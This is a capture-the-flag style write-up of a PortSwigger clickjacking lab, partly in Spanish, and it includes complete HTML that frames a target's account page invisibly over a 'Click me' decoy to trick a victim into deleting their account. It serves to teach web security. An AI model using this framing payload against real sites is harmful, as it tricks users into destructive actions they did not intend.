Basic clickjacking with CSRF token protection

This lab contains login functionality and a delete account button that is protected by a CSRF token. A user will click on elements that display the word "click" on a decoy website.

To solve the lab, craft some HTML that frames the account page and fools the user into deleting their account. The lab is solved when the account is deleted.

You can log in to your own account using the following credentials: wiener:peter Note

The victim will be using Chrome so test your exploit on that browser.

https://siunam321.github.io/ctf/portswigger-labs/Clickjacking/clickjacking-1/

La ruta my-account cuenta con un boton para eliminar la cuenta y asi mismo en el codigo se evidencia que utiliza un token CSRF que protegeria que la accion la realice un dominio externo, evitaria una solicitud entre sitios, pero con un clickjacking implementado en un html mediante un iframe, la accion seria realizada por el usuario evadiendo asi el CSRF token protection.

<html>
    <head>
        <title>Basic clickjacking with CSRF token protection</title>
        <style type="text/css">
            #targetWebsite {
                position:relative;
                width:700px;
                height:700px;
                opacity:0.0001;
                z-index:2;
            }

            #decoyWebsite {
                position:absolute;
                top:495px;
                left:60px;
                z-index:1;
            }
        </style>
    </head>
    <body>
        <div id="decoyWebsite">Click me</div>
        <iframe id="targetWebsite" src="https://0aea00c303e1075d8080030d00ed001e.web-security-academy.net/my-account"></iframe>
    </body>
</html>